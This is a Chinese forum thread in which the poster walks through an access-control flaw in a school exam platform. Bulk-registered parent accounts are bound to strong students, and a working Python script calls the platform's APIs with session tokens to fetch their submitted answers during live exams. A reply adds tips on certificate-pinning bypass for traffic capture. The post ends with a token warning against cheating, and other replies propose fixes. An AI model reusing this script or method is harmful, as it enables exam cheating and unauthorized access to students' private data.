Tonyha7 发表于 2022-11-30 17:04

某分数的脑瘫漏洞

## 前言
半年之前搞过[某师某课](https://www.52pojie.cn/thread-1613563-1-1.html) 可能学校意识到普遍分数过高是平台的问题 于是换了某分数提交考试卷子
既然是教育网站 那么或多或少会有一些*脑瘫*问题
本着研究但不利用的原则 便有了以下折腾的过程
## 过程
### 思路1-失败
通过考完试比对答案的接口 假装考试已经结束 发送数据来请求答案
结果:
https://file.moetu.org/images/2022/11/30/QQ2022113016084910b9d203bd6441b9.png
很显然 人家已经想到了这个问题 不出分是无法获取到答案的
### 思路2
依稀记得家长端在绑定学生时 只需要输入对应的姓名和学号即可
那么可不可以用家长端绑定好学生 在考试期间获取他们的答案呢?
先说结果 这个思路是可以的
已知每个家长号能绑定最多两个学生 且半年后才能换绑
那么我们只要注册足够多的家长号 即可随便绑学生
这里用x码平台 具体懂得都懂
https://file.moetu.org/images/2022/11/30/QQ2022113016152337787bb6a3ff1f0c.png
然后我们每个号绑定一个好学生
接下来分析提交的答案是怎么获取的
首先明确这个平台的几个概念:
不管是学生号还是家长号 都是一个账号对应一个hfs-session-id
家长号切换孩子后 同样的hfs-session-id获取到的卷子为切换到的学生的
考试部分获取答案总共需要两个包
第一个:
https://file.moetu.org/images/2022/11/30/1669797102921733a2e84f10e496c.png
```
https://hfs-be.yunxiao.com/v2/online-exams/token?examId=考试id&paperId=完整的试卷id
```
这里需要注意一下 发包时除了要处理headers
还要把hfs-session-id写到cookies里去
成功的话 会返回一个阅卷token
第二个:
利用这个阅卷token去获取已经提交的答案
https://file.moetu.org/images/2022/11/30/16697974244783cc94e717b800755.png
```
https://yj-apigw.haofenshu.com/v370/structure/online?paperid=试卷id
```
这里需要注意 这个包不要有cookies
要把获取到的阅卷token加到headers里
成功的话 会返回一个json 里面存有选项和提交的答案
https://file.moetu.org/images/2022/11/30/16697980380364dd53c1cbbb9d6f6.png
(这里还没提交 所以是空的)
然后 我们模拟这个流程 用python写个发包解析的程序
```
import requests
import json

examid="考试id"
paperid="试卷id"
paperidfull="完整的试卷id"

stu_tokens = [
    "eyxxxxxxx",#家长token
]

count=1
for stu in stu_tokens:
    url="https://hfs-be.yunxiao.com/v2/online-exams/token?examId="+examid+"&paperId="+paperidfull
    cookie = {'hfs-session-id': stu}
    headers = {'devicetype': '1','apptype': '1','versionname': "4.30.91",'user-agent': "YX Android 10"}
    req=requests.get(url=url,headers=headers,cookies=cookie)
    #print(req.text)
    yuejuan=json.loads(req.text).get('data').get('token')
    headers.update({'hfs-app-token': yuejuan})
    url="https://yj-apigw.haofenshu.com/v370/structure/online?paperid="+paperid
    req=requests.get(url=url,headers=headers)
    #print(req.text)
    keguanti=json.loads(req.text).get('data').get('keguanti')
    zhuguanti=json.loads(req.text).get('data').get('zhuguanti')
    for dati in keguanti:
      print(dati["name"])
      questions_list=dati["questions"]
      for xiaoti in questions_list:
            if xiaoti["stuAns"] !="" and xiaoti["stuAns"] !="-":
                print(xiaoti["name"]+" "+xiaoti["stuAns"])
    for ti in zhuguanti:
      pic_list=ti["httpPath"]
      if pic_list != None:
            print(ti["name"]+" "+" ".join(pic_list))
    print("========== |"+str(count))
    count+=1
```
在考试结束的交卷时间里 我们一直重复运行即可
https://file.moetu.org/images/2022/11/30/_202211301701057972bff817c29be4.png
## 最后
**严禁作弊!!!**
**严禁作弊!!!**
**严禁作弊!!!**

涛之雨 发表于 2022-12-1 20:52

经理看到连夜增加新功能:如果没有通过教师的author认证,就直接返回一套错误答案{:301_1001:}
如果最后把所有答案与错误答案对比,相似度超过90%直接交给人工审核{:301_1001:}

Eilliem 发表于 2022-12-2 00:24

感谢分享,但是感觉很快平台就会有动作了,这些平台难道都不做项目设计的吗?这么关键的数据居然随意下发给权限那么低的账户,不过修bug也简单,非教师用户仅能考试结束后xx小时调阅试卷即可

zxc135781 发表于 2022-11-30 17:15

学习看看

social666 发表于 2022-11-30 17:24

好贴,先点后试

Lisir99 发表于 2022-11-30 17:51

感谢分享

ClearLover 发表于 2022-11-30 18:41

中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?

Aminx520 发表于 2022-11-30 18:50

感谢分享,希望楼主多多发帖

Tonyha7 发表于 2022-11-30 18:54

ClearLover 发表于 2022-11-30 18:41
中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?

虚拟机用justtrustme之类的模块 实机抓包
我比较喜欢直接用root{:301_997:}

long8586 发表于 2022-11-30 19:18

虽然用不上,但是还是点个赞!

jyx520 发表于 2022-11-30 23:47

感谢分享,学习学习

没头脑和温柚 发表于 2022-12-1 00:23

这个漏洞确实有点那啥了
页: [1] 2 3
查看完整版本: 某分数的脑瘫漏洞